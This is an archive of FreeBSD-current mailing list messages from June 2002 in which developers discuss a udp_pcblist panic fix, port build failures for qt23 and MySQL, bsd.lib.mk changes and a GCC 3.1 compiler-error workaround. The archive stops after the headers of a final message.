From: Maxime Henrion <mux@freebsd.org>
To: Jeffrey Hsu <hsu@FreeBSD.org>
Cc: current@FreeBSD.org
Subject: Re: fix for a bug that causes a panic in the udp_pcblist() sysctl
Message-ID: <20020621160437.GZ85244@elvis.mu.org>
References: <20020621134239.GX85244@elvis.mu.org> <0GY2005KRCAZM9@mta5.snfc21.pbi.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <0GY2005KRCAZM9@mta5.snfc21.pbi.net>
User-Agent: Mutt/1.3.27i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Jeffrey Hsu wrote:
> Can you try this fix instead?  It's based on a similar patch Jonathan Lemon
> sent to me for a similar spot in tcp_subr.c.

Well yes, this works too, since it produces the same code as with my
fix.  But yours is more beautiful. :-)

Thanks,
Maxime

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21  9:27:22 2002
Delivered-To: freebsd-current@freebsd.org
Received: from yeoman.sinbad.net (yeoman.sinbad.net [12.17.176.5])
	by hub.freebsd.org (Postfix) with ESMTP id CBB6437B405
	for <freebsd-current@freebsd.org>; Fri, 21 Jun 2002 09:27:08 -0700 (PDT)
Received: from there (95-7-237-24-cable.anchorageak.net [24.237.7.95])
	by yeoman.sinbad.net (Postfix) with SMTP
	id 2DEC420BF5; Fri, 21 Jun 2002 08:27:07 -0800 (AKDT)
Content-Type: text/plain;
  charset="iso-8859-1"
From: Beech Rintoul <akbeech@sinbad.net>
Reply-To: akbeech@sinbad.net
To: imura@kml.cs.titech.ac.jp, freebsd-current@freebsd.org
Subject: qt23 port broken on -current
Date: Fri, 21 Jun 2002 08:27:06 -0800
X-Mailer: KMail [version 1.3]
Organization: Sinbad Network Communications
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Message-Id: <20020621162707.2DEC420BF5@yeoman.sinbad.net>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

I'm getting the following on qt23:

gmake[1]: Entering directory 
`/usr/ports/x11-toolkits/qt23/work/qt-2.3.1/src/moc'
c++  -c -I/usr/ports/x11-toolkits/qt23/work/qt-2.3.1/include -pthread 
-D_THREAD_SAFE -Wno-unused -Wno-parentheses -DQT_PREFIX=\"/usr/X11R6\" -pipe 
-fno-exceptions  -O -pipe  -I/usr/include -D_PTH_H_ -D_PTH_PTHREAD_H_ -O
-pipe  -DQT_NO_CODECS -DQT_LITE_UNICODE -I../../include -I../tools -I. -o 
mocgen.o mocgen.cpp
cc1plus: warning: changing search order for system directory "/usr/include"
cc1plus: warning:   as it has already been specified as a non-system directory
cc1plus: warning: changing search order for system directory "/usr/include"
cc1plus: warning:   as it has already been specified as a non-system directory
In file included from /usr/include/ctype.h:52,
                 from moc.y:63:
/usr/include/runetype.h:57: redeclaration of C++ built-in type `wchar_t'
gmake[1]: *** [mocgen.o] Error 1
gmake[1]: Leaving directory 
`/usr/ports/x11-toolkits/qt23/work/qt-2.3.1/src/moc'
gmake: *** [src-moc] Error 2
*** Error code 2

 uname -a :
FreeBSD nova.anchoragerescue.org 5.0-CURRENT FreeBSD 5.0-CURRENT #0: Thu Jun 
20 02:06:12 AKDT 2002     
akbeech@nova.anchoragerescue.org:/usr/obj/usr/src/sys/NOVA  i386

Beech
-- 
-------------------------------------------------------------------
      Beech Rintoul - SysAdmin - akbeech@sinbad.net
/"\   ASCII Ribbon Campaign  | Sinbad Network Communications
\ / - NO HTML/RTF in e-mail  | 3101 Penland Parkway #K-38
 X  - NO Word docs in e-mail | Anchorage, AK 99508-1957
/ \ -----------------------------------------------------------------












To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21  9:53:16 2002
Delivered-To: freebsd-current@freebsd.org
Received: from smtpzilla3.xs4all.nl (smtpzilla3.xs4all.nl [194.109.127.139])
	by hub.freebsd.org (Postfix) with ESMTP id CF0C337B40C
	for <freebsd-current@freebsd.org>; Fri, 21 Jun 2002 09:53:11 -0700 (PDT)
Received: from klop.yi.org (a194-109-223-6.adsl.xs4all.nl [194.109.223.6])
	by smtpzilla3.xs4all.nl (8.12.0/8.12.0) with ESMTP id g5LGrA9w035940
	for <freebsd-current@freebsd.org>; Fri, 21 Jun 2002 18:53:10 +0200 (CEST)
Message-ID: <3D1359F7.5080304@klop.yi.org>
Date: Fri, 21 Jun 2002 18:53:11 +0200
From: Ronald Klop <ronald@klop.yi.org>
User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.0.0) Gecko/20020607
X-Accept-Language: nl, nl-be, en-us
MIME-Version: 1.0
To: freebsd-current@freebsd.org
Subject: rc_ng apm enable not run
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Hello,

In the rc_ng is 'apm -e enable' not run if I have apm_enable="YES" 
and/or apmd_enable="YES" in my rc.conf. But apmd is run with the last 
option.

Greetings,

Ronald.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21 10:23:56 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail.pcnet.com (pcnet1.pcnet.com [204.213.232.3])
	by hub.freebsd.org (Postfix) with ESMTP
	id F041037B40B; Fri, 21 Jun 2002 10:23:37 -0700 (PDT)
Received: from localhost (eischen@localhost)
	by mail.pcnet.com (8.12.3/8.12.1) with ESMTP id g5LHNawj004181;
	Fri, 21 Jun 2002 13:23:37 -0400 (EDT)
Date: Fri, 21 Jun 2002 13:23:36 -0400 (EDT)
From: Daniel Eischen <eischen@pcnet1.pcnet.com>
To: Martin Blapp <mb@imp.ch>
Cc: Anders Nordby <anders@FreeBSD.org>, current@FreeBSD.org,
	deischen@FreeBSD.org
Subject: Re: Apache2 in threaded mode for FreeBSD ...
In-Reply-To: <20020621141713.O550-100000@levais.imp.ch>
Message-ID: <Pine.GSO.4.10.10206211322120.3952-100000@pcnet1.pcnet.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Fri, 21 Jun 2002, Martin Blapp wrote:
> 
> Hi Daniel,
> 
> Port is /usr/ports/www/apache2, compiled with:
> 
> make WITH_MPM=perchild FORCE_THREADING_MPM=yes install
> 
> Note that this problem happens with ALL threaded MPM's.

This doesn't help me.  I don't have the time to wade
through Apache source and figure out what it's trying
to do.

-- 
Dan Eischen


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21 11:29:58 2002
Delivered-To: freebsd-current@freebsd.org
Received: from corbulon.video-collage.com (corbulon.video-collage.com [64.35.99.179])
	by hub.freebsd.org (Postfix) with ESMTP
	id 82BC937B407; Fri, 21 Jun 2002 11:29:52 -0700 (PDT)
Received: from misha (250-217.customer.cloud9.net [168.100.250.217])
	by corbulon.video-collage.com (8.12.2/8.12.2) with ESMTP id g5LITnQC064124
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=FAIL);
	Fri, 21 Jun 2002 14:29:50 -0400 (EDT)
	(envelope-from mi+mx@aldan.algebra.com)
X-Authentication-Warning: corbulon.video-collage.com: Host 250-217.customer.cloud9.net [168.100.250.217] claimed to be misha
Content-Type: text/plain;
  charset="us-ascii"
From: Mikhail Teterin <mi+mx@aldan.algebra.com>
Organization: Virtual Estates, Inc.
To: ru@FreeBSD.org
Subject: recent bsd.lib.mk changes
Date: Fri, 21 Jun 2002 14:29:33 -0400
X-Mailer: KMail [version 1.4]
Cc: current@FreeBSD.org
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Message-Id: <200206211429.33406.mi+mx@aldan.algebra.com>
X-Scanned-By: MIMEDefang 2.15 (www dot roaringpenguin dot com slash mimedefang)
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

I guess I missed them, but now some of my ports -- which use bsd.lib.mk
-- don't work on -current :-\ and I don't know how to fix them in the
backward-compatible way.

The ports -- such as devel/tcl-memchan, for example, only want to build
and install the shared versions of the libraries.

I used to define INTERNALLIB to avoid building and installing the static
version, but that is now almost reversed -- only the static will be
built and nothing will be installed.

Any suggestions? For now, can we have some sort of flag be put into
the bsd.lib.mk, so the "client" makefile can check for API-version?

Can the future modifications in the share/mk be, please, tested with
ports as well as src builds? Thanks!

	-mi


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21 11:59:56 2002
Delivered-To: freebsd-current@freebsd.org
Received: from prism.flugsvamp.com (66-191-112-47.mad.wi.charter.com [66.191.112.47])
	by hub.freebsd.org (Postfix) with ESMTP
	id B3F9037B40F; Fri, 21 Jun 2002 11:59:49 -0700 (PDT)
Received: (from jlemon@localhost)
	by prism.flugsvamp.com (8.11.6/8.11.6) id g5LIxUf55148;
	Fri, 21 Jun 2002 13:59:30 -0500 (CDT)
	(envelope-from jlemon)
Date: Fri, 21 Jun 2002 13:59:30 -0500 (CDT)
From: Jonathan Lemon <jlemon@flugsvamp.com>
Message-Id: <200206211859.g5LIxUf55148@prism.flugsvamp.com>
To: mux@FreeBSD.ORG, current@FreeBSD.ORG
Subject: Re: fix for a bug that causes a panic in the udp_pcblist() sysctl
X-Newsgroups: local.mail.freebsd-current
In-Reply-To: <local.mail.freebsd-current/20020621160437.GZ85244@elvis.mu.org>
References: <local.mail.freebsd-current/20020621134239.GX85244@elvis.mu.org>
	<local.mail.freebsd-current/0GY2005KRCAZM9@mta5.snfc21.pbi.net>
Organization: 
Cc: 
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

In article <local.mail.freebsd-current/20020621160437.GZ85244@elvis.mu.org> you write:
>Jeffrey Hsu wrote:
>> Can you try this fix instead?  It's based on a similar patch Jonathan Lemon
>> sent to me for a similar spot in tcp_subr.c.
>
>Well yes, this works too, since it produces the same code as with my
>fix.  But yours is more beautiful. :-)

Beautiful code is almost as important as correct code, from a 
maintenance standpoint.  :-)
-- 
Jonathan

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21 12:39:13 2002
Delivered-To: freebsd-current@freebsd.org
Received: from volatile.chemikals.org (cae88-49-048.sc.rr.com [24.88.49.48])
	by hub.freebsd.org (Postfix) with ESMTP
	id 0325137B410; Fri, 21 Jun 2002 12:39:05 -0700 (PDT)
Received: from chemikals.org (www@localhost [127.0.0.1])
	by volatile.chemikals.org (8.12.3/8.12.3) with SMTP id g5LJd07B044757;
	Fri, 21 Jun 2002 15:39:00 -0400 (EDT)
	(envelope-from morganw@chemikals.org)
From: Wesley Morgan <morganw@chemikals.org>
Received: from 148.175.49.1
        (SquirrelMail authenticated user morganw)
        by www.chemikals.org with HTTP;
        Fri, 21 Jun 2002 15:39:01 -0400 (EDT)
Message-ID: <46392.148.175.49.1.1024688341.squirrel@www.chemikals.org>
Date: Fri, 21 Jun 2002 15:39:01 -0400 (EDT)
Subject: Re: MySQL 3.23.51 Error
To: <akbeech@sinbad.net>
In-Reply-To: <20020621154413.DBFE220AD3@yeoman.sinbad.net>
References: <20020620175423.4414377@nebula.anchoragerescue.org>
        <20020621161245.B62444@physik.TU-Berlin.DE>
        <20020621154413.DBFE220AD3@yeoman.sinbad.net>
X-Priority: 3
Importance: Normal
X-MSMail-Priority: Normal
Cc: <dirk@FreeBSD.ORG>, <freebsd-current@FreeBSD.ORG>
X-Mailer: SquirrelMail (version 1.2.6)
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

I get this same error, and was able to fix it by disabling tcp wrappers in
the config (this is a non-production system), and adding -lstdc++ to the
libraries for linking.
Strange that you were able to compile .49, I couldn't build it without
massaging the code either.
As another data point, I was able to build .51 on my -stable box.

> On Friday 21 June 2002 06:12 am, you wrote:
>> Hi!
>>
>> On Thu, Jun 20, 2002 at 09:54:23AM -0800, Beech Rintoul wrote:
>> > Compile of mysql323 server fails with the following:
>> >
>> >
>> > cc -DMYSQL_SERVER
>> > -DDEFAULT_MYSQL_HOME="\"/usr/local\"" -DDATADIR="\"/var/db/mysql\""
>> > -DSHAREDIR="\"/usr/local/share/mysql\""
>> > -DHAVE_CONFIG_H -I../bdb/build_unix -I../innobase/include
>> > -I./../include                  -I./../regex                  -I.
>> > -I../include -I.. -I.    -DDBUG_OFF -O -pipe  -felide-constructors
>> > -fno-rtti -fno-exceptions  -fno-implicit-templates -fno-exceptions
>> > -fno-rtti -DMYSQLD_NET_RETRY_COUNT=1000000 -c mysqld.cc
>> > /usr/include/tcpd.h: In function `void*
>> > handle_connections_sockets(void*)': /usr/include/tcpd.h:137: too
>> > many arguments to function `void sock_host()' mysqld.cc:2428: at
>> > this point in file
>> > /usr/include/tcpd.h:75: too many arguments to function `int
>> > hosts_access()' mysqld.cc:2429: at this point in file
>> > /usr/include/tcpd.h:130: too many arguments to function `char*
>> > eval_client()' mysqld.cc:2437: at this point in file
>> > *** Error code 1
>> >
>> > Stop in /usr/ports/databases/mysql323-server/work/mysql-3.23.51/sql.
>> > *** Error code 1
>> >
>> >  uname -a
>> > FreeBSD nova.anchoragerescue.org 5.0-CURRENT FreeBSD 5.0-CURRENT #0:
>> > Thu>
> 	Regards Dirk
>
>> > Jun 20 02:06:12 AKDT 2002
>> > akbeech@nova.anchoragerescue.org:/usr/obj/usr/src/sys/NOVA  i386
>>
>> Did version 3.23.49 compile on your system?
>>
> Yes it did, that's what I upgraded from. This seems to be an issue with
>  -current only. The same code compiled ok on two of my 4.6 Boxes.
>
> Beech
> --
> -------------------------------------------------------------------
>      Beech Rintoul - SysAdmin - akbeech@sinbad.net
> /"\   ASCII Ribbon Campaign  | Sinbad Network Communications
> \ / - NO HTML/RTF in e-mail  | 3101 Penland Parkway #K-38
> X  - NO Word docs in e-mail | Anchorage, AK 99508-1957
> / \ -----------------------------------------------------------------
>
>
>
>
>
>
>
>
>
>
>
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-current" in the body of the message




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21 12:59:38 2002
Delivered-To: freebsd-current@freebsd.org
Received: from h132-197-179-27.gte.com (h132-197-179-27.gte.com [132.197.179.27])
	by hub.freebsd.org (Postfix) with ESMTP id AC90237B40D
	for <freebsd-current@FreeBSD.ORG>; Fri, 21 Jun 2002 12:59:30 -0700 (PDT)
Received: from kanpc.gte.com (localhost [IPv6:::1])
	by h132-197-179-27.gte.com (8.12.4/8.12.4) with ESMTP id g5LJxObP043350;
	Fri, 21 Jun 2002 15:59:24 -0400 (EDT)
	(envelope-from ak03@kanpc.gte.com)
Received: (from ak03@localhost)
	by kanpc.gte.com (8.12.4/8.12.4/Submit) id g5LJxLli043349;
	Fri, 21 Jun 2002 15:59:21 -0400 (EDT)
Date: Fri, 21 Jun 2002 15:59:21 -0400
From: Alexander Kabaev <ak03@gte.com>
To: Joe Marcus Clarke <marcus@marcuscom.com>
Cc: freebsd-current@FreeBSD.ORG, sean@chittenden.org
Subject: Re: The -current state of mozilla affairs
Message-Id: <20020621155921.79fc4c91.ak03@gte.com>
In-Reply-To: <1024597364.329.26.camel@gyros.marcuscom.com>
References: <3CFC588A.9070903@sbcglobal.net>
	<20020604134655.B62465@xor.obsecurity.org>
	<20020619183056.K31745@ninja1.internal>
	<1024539159.44782.21.camel@shumai.marcuscom.com>
	<20020619232135.D37593@ninja1.internal>
	<20020620102527.C55653@dragon.nuxi.com>
	<1024597364.329.26.camel@gyros.marcuscom.com>
Organization: Verizon Data Services
X-Mailer: Sylpheed version 0.7.8claws6 (GTK+ 1.2.10; i386-portbld-freebsd5.0)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Why not to use GCC version itself to distinguish between
thunked/non-thunked vtable implementations? 

> > Please add a comment why you chose these __FreeBSD_cc_version
> > values. What is special about 500003?  500003 is 5.0-CURRENT after
> > buf/bio changes, *years* ago.  Perhaps you wanted another value from
> > http://www.freebsd.org/doc/en_US.ISO8859-1/books/porters-handbook/freebsd-versions.html
> 
> Fear not.  I'm modifying the patch.  Proper documentation will be
> included.
> 
> Joe
-- 
Alexander Kabaev

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21 13:29: 9 2002
Delivered-To: freebsd-current@freebsd.org
Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169])
	by hub.freebsd.org (Postfix) with ESMTP
	id 485B537B415; Fri, 21 Jun 2002 13:28:57 -0700 (PDT)
Received: from dragon.nuxi.com (obrien@localhost [127.0.0.1])
	by dragon.nuxi.com (8.12.3/8.12.2) with ESMTP id g5LKSdP8076295;
	Fri, 21 Jun 2002 13:28:40 -0700 (PDT)
	(envelope-from obrien@dragon.nuxi.com)
Received: (from obrien@localhost)
	by dragon.nuxi.com (8.12.4/8.12.3/Submit) id g5LKSdAl076294;
	Fri, 21 Jun 2002 13:28:39 -0700 (PDT)
Date: Fri, 21 Jun 2002 13:28:39 -0700
From: "David O'Brien" <dev-null@NUXI.com>
To: Mikhail Teterin <mi+mx@aldan.algebra.com>
Cc: ru@FreeBSD.org, current@FreeBSD.org
Subject: Re: recent bsd.lib.mk changes
Message-ID: <20020621132839.A68827@dragon.nuxi.com>
Reply-To: current@FreeBSD.org
Mail-Followup-To: David O'Brien <dev-null@nuxi.com>,
	Mikhail Teterin <mi+mx@aldan.algebra.com>, ru@FreeBSD.org,
	current@FreeBSD.org
References: <200206211429.33406.mi+mx@aldan.algebra.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200206211429.33406.mi+mx@aldan.algebra.com>; from mi+mx@aldan.algebra.com on Fri, Jun 21, 2002 at 02:29:33PM -0400
X-Operating-System: FreeBSD 5.0-CURRENT
Organization: The NUXI BSD group
X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3  90 76 5D 69 58 D9 98 7A
X-Pgp-Rsa-Keyid: 1024/34F9F9D5
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Fri, Jun 21, 2002 at 02:29:33PM -0400, Mikhail Teterin wrote:
> I used to define INTERNALLIB to avoid building and installing the static
> version, but that is now almost reversed -- only the static will be
> built and nothing will be installed.

The old INTERNALLIB knob was confusion and not really used.
An internal lib is a static lib we create during `make world' because it
reduces compile times (ie, code that is shared).

I can think of very few reasons to build a .so, but not a .a.  Some
people do like to build static binaries.


> Can the future modifications in the share/mk be, please, tested with
> ports as well as src builds? Thanks!

src/share/mk is for /usr/src.  If /usr/ports can use the bits, that is
nice.  If not ports/Mk/bsd.FOO.mk should be created and used.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21 13:30: 1 2002
Delivered-To: freebsd-current@freebsd.org
Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169])
	by hub.freebsd.org (Postfix) with ESMTP
	id 697CF37B40B; Fri, 21 Jun 2002 13:29:50 -0700 (PDT)
Received: from dragon.nuxi.com (obrien@localhost [127.0.0.1])
	by dragon.nuxi.com (8.12.3/8.12.2) with ESMTP id g5LKToP8076312;
	Fri, 21 Jun 2002 13:29:50 -0700 (PDT)
	(envelope-from obrien@dragon.nuxi.com)
Received: (from obrien@localhost)
	by dragon.nuxi.com (8.12.4/8.12.3/Submit) id g5LKTnRk076311;
	Fri, 21 Jun 2002 13:29:49 -0700 (PDT)
Date: Fri, 21 Jun 2002 13:29:49 -0700
From: "David O'Brien" <obrien@FreeBSD.org>
To: Beech Rintoul <akbeech@sinbad.net>
Cc: Dirk Froemberg <dirk@FreeBSD.org>, freebsd-current@FreeBSD.org
Subject: Re: MySQL 3.23.51 Error
Message-ID: <20020621132949.B68827@dragon.nuxi.com>
Reply-To: obrien@FreeBSD.org
References: <20020620175423.4414377@nebula.anchoragerescue.org> <20020621161245.B62444@physik.TU-Berlin.DE> <20020621154413.DBFE220AD3@yeoman.sinbad.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020621154413.DBFE220AD3@yeoman.sinbad.net>; from akbeech@sinbad.net on Fri, Jun 21, 2002 at 07:44:13AM -0800
X-Operating-System: FreeBSD 5.0-CURRENT
Organization: The NUXI BSD group
X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3  90 76 5D 69 58 D9 98 7A
X-Pgp-Rsa-Keyid: 1024/34F9F9D5
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Fri, Jun 21, 2002 at 07:44:13AM -0800, Beech Rintoul wrote:
> > > cc -DMYSQL_SERVER                      
....
> > > -fno-rtti -DMYSQLD_NET_RETRY_COUNT=1000000 -c mysqld.cc

It is wrong to compile C++ code with a plain C compiler.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21 13:36:39 2002
Delivered-To: freebsd-current@freebsd.org
Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169])
	by hub.freebsd.org (Postfix) with ESMTP
	id 58DD137B40E; Fri, 21 Jun 2002 13:36:37 -0700 (PDT)
Received: from dragon.nuxi.com (obrien@localhost [127.0.0.1])
	by dragon.nuxi.com (8.12.3/8.12.2) with ESMTP id g5LKaaP8076415;
	Fri, 21 Jun 2002 13:36:36 -0700 (PDT)
	(envelope-from obrien@dragon.nuxi.com)
Received: (from obrien@localhost)
	by dragon.nuxi.com (8.12.4/8.12.3/Submit) id g5LKaZSD076414;
	Fri, 21 Jun 2002 13:36:35 -0700 (PDT)
Date: Fri, 21 Jun 2002 13:36:35 -0700
From: "David O'Brien" <obrien@freebsd.org>
To: Stefan Esser <se@freebsd.org>
Cc: Kris Kennaway <kris@obsecurity.org>,
	Yamada Ken Takeshi <ken@tydfam.jp>, freebsd-current@freebsd.org
Subject: Re: GCC3.1 internal compiler error when compiling XFree86-4-libraries
Message-ID: <20020621133635.D68827@dragon.nuxi.com>
Reply-To: obrien@freebsd.org
References: <20020608.171312.730576735.ken@tydfam.jp> <20020608013938.B5755@xor.obsecurity.org> <20020608092926.GA2635@StefanEsser.FreeBSD.org> <20020616023918.C12427@xor.obsecurity.org> <20020621123351.GA68390@StefanEsser.FreeBSD.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020621123351.GA68390@StefanEsser.FreeBSD.org>; from se@freebsd.org on Fri, Jun 21, 2002 at 02:33:51PM +0200
X-Operating-System: FreeBSD 5.0-CURRENT
Organization: The NUXI BSD group
X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3  90 76 5D 69 58 D9 98 7A
X-Pgp-Rsa-Keyid: 1024/34F9F9D5
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Fri, Jun 21, 2002 at 02:33:51PM +0200, Stefan Esser wrote:
> #if defined(__GNUC__) && __GNUC__ >= 3
> #define ObjectCompile(options) RemoveFile($@)                           @@\
> 	ClearmakeOSName \
> 	$(CC) -c $(CFLAGS) options $*.c -o $@ || \
> 	$(CC) -c $(CFLAGS) options -O0 $*.c -o $@
> #endif

It would be better to use __FreeBSD_cc_version=500003 as I believe the
problem only exists with the system gcc.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21 13:36:58 2002
Delivered-To: freebsd-current@freebsd.org
Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169])
	by hub.freebsd.org (Postfix) with ESMTP
	id 86A0B37B40C; Fri, 21 Jun 2002 13:36:55 -0700 (PDT)
Received: from dragon.nuxi.com (obrien@localhost [127.0.0.1])
	by dragon.nuxi.com (8.12.3/8.12.2) with ESMTP id g5LKatP8076428;
	Fri, 21 Jun 2002 13:36:55 -0700 (PDT)
	(envelope-from obrien@dragon.nuxi.com)
Received: (from obrien@localhost)
	by dragon.nuxi.com (8.12.4/8.12.3/Submit) id g5LKasXU076427;
	Fri, 21 Jun 2002 13:36:54 -0700 (PDT)
Date: Fri, 21 Jun 2002 13:36:54 -0700
From: "David O'Brien" <obrien@freebsd.org>
To: Martin Blapp <mb@imp.ch>
Cc: Stefan Esser <se@freebsd.org>,
	Kris Kennaway <kris@obsecurity.org>,
	Yamada Ken Takeshi <ken@tydfam.jp>, freebsd-current@freebsd.org
Subject: Re: GCC3.1 internal compiler error when compiling XFree86-4-libraries
